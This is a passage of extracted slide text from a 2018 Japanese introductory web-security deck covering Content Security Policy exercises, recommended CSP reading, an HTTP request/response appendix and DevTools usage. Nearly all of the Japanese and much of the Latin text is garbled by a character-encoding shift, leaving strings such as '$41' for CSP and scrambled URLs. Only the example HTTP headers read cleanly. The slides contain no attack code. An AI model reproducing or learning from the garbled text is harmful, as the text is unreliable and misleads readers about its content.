 $41ʹΑΔ੍ݶΛ࣮ײͯ͠ΈΑ͏ ‣ ࣄޙ՝୊࣍ΛͭͣͭऔΓ૊ΜͰΈ·͠ΐ͏

     ࣗ෼ͷ8FCϖʔδΛ͍࣋ͬͯΕ͹ ͦ͜ʹ$41Λઃఆ͢Δ ‣ ΋͠ͳ͚Ε͹ ࣍ͷͲͪΒ͔ͰݕূՄೳ ‣ ϩʔΧϧʹ)5.-Λ࡞੒ͯ͠ NFUBΛ࢖͏ ‣ 8FCαʔόʔΛϩʔΧϧʹཱͯͯΈΔ EPDLFSͳͲ͕ศར   $41&WBMVBUPS IUUQTDTQFWBMVBUPSXJUIHPPHMFDPN Ͱઃఆͨ͠ ϖʔδΛݕূͯ͠ΈΔ  ݕূ݁ՌΛݟͯ ΑΓΑ͍ϙϦγʔΛઃఆͯ͠Έ·͠ΐ͏  $41CZQBTTͷख๏ʹ͍ͭͯௐ΂ͯ ࣮ࡍʹCZQBTTՄೳͳ৚݅Λ୳ͯ͠Έ ·͠ΐ͏ 87

  88. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $41*T%FBE

    -POH-JWF$410OUIF*OTFDVSJUZPG8IJUFMJTUT BOEUIF'VUVSFPG$POUFOU4FDVSJUZ1PMJDZ ‣ λΠτϧͰ(PPHMFݕࡧ͍ͯͩ͘͠͞ ‣ ೥ͷ࿦จͰ͕͢ ମܥతʹ$41ͱͦͷόΠύεख๏ʹ͍͕ͭͯ·ͱΊ ΒΕ͍ͯΔ ‣ )*5#".4%5%FGFOTFJO%FQUI5FDIOJRVFTGPS .PEFSO8FC"QQT.4QBHOVPMP-8FJDITFMCBVN ‣ IUUQTXXXZPVUVCFDPNXBUDI W33@&R,T:CP ‣ GPS.PEFSO8FC"QQTͱ͸໏ଧ͍ͬͯΔ͕ $41΍ͦͷଞͷ.PEFSOͳ $MJFOUTJEFͷ๷ޚϨΠϠʹ͍ͭͯ ͬ͘͡Γղઆ͍ͯ͠Δ 88

  89. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $$41$POUSPMMFESFMBYBUJPOPGDPOUFOUTFDVSJUZQPMJDJFTCZ

    SVOUJNFQPMJDZDPNQPTJUJPO ‣ IUUQTXXXVTFOJYPSHTZTUFNpMFTDPOGFSFODFVTFOJYTFDVSJUZ TFDDBM[BWBSBQEG ‣ ݱঢ়ͷ$41ͷ໰୊఺Λ౿·͑ͯ ΑΓΑ͍1PMJDZهड़๏Λ໛ࡧ͢Δ 3FTFBSDIMJOFͷྫ ‣ (JU)VCͷXFCBQQTFDDTQ ‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQ ‣ *TTVFTΛ PQFO DMPTFE໰Θͣ ಡΜͰΈͨΓ 13ΛோΊͨΓͯ͠ΈΔͱ  ͍͍ؾ෇͖͕͋Δ͔΋͠Εͳ͍ 89

  90. "QQFOEJY$
 )551

  91. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551
 )ZQFS5FYU5SBOTGFS1SPUPDPM JOTIPSU 91

    (&5JOEFYIUNM)551
 ʜ )5510,
 ʜ ϦΫΤετ Ϩεϙϯε 8FCαʔό

  92. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ
 (&5ϦΫΤετͷྫ 92 GET

    / HTTP/1.1 Host: shift-js.info Connection: close Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,ja;q=0.8 Cookie: ...

  93. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ
 (&5ϦΫΤετʹର͢ΔϨεϙϯεͷྫ 93 HTTP/1.1

    200 OK Server: nginx Date: Tue, 23 Oct 2018 12:57:05 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Fri, 14 Sep 2018 01:26:38 GMT Connection: close ETag: W/"5b9b0e4e-46d4" Strict-Transport-Security: max-age=31536000 Content-Length: 18132 <!DOCTYPE html>
 ...

  94. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετΛ೷͘
 ࠓճ%FWFMPQFS5PPMTΛ࢖͏ ‣ )551௨৴͸ී௨

    ࣍ͷΑ͏ͳ1SPYZπʔϧΛར༻ͯ͠೷͘ ‣ #VSQ4VJUF ‣ 'JEEMFS ‣ FUD ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖ͬͯ)551ϦΫΤετϨεϙϯεΛ೷͘ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM 4IJGU *Ͱىಈ
 .BDͷ৔߹$NE 0QU *Ͱىಈ 94

  95. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 95 8JOEPXT' $USM 4IJGU

    *
 .BD$NE 0QU *Ͱىಈ

  96. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 96 /FUXPSLλϒͰ)551 ௨৴ͷ༷ࢠ͕೷͚Δ

  97. 3FGFSFODFT

  98. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࢀর ‣ Qͷ஫ͷը૾
 ࢈ۀٕज़૯߹ݚڀॴ

    ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫ ηεʹؔ͢Δใࠂ  IUUQTXXXBJTUHPKQQEGBJTU@K UPQJDTUPUPBJTUQEG 98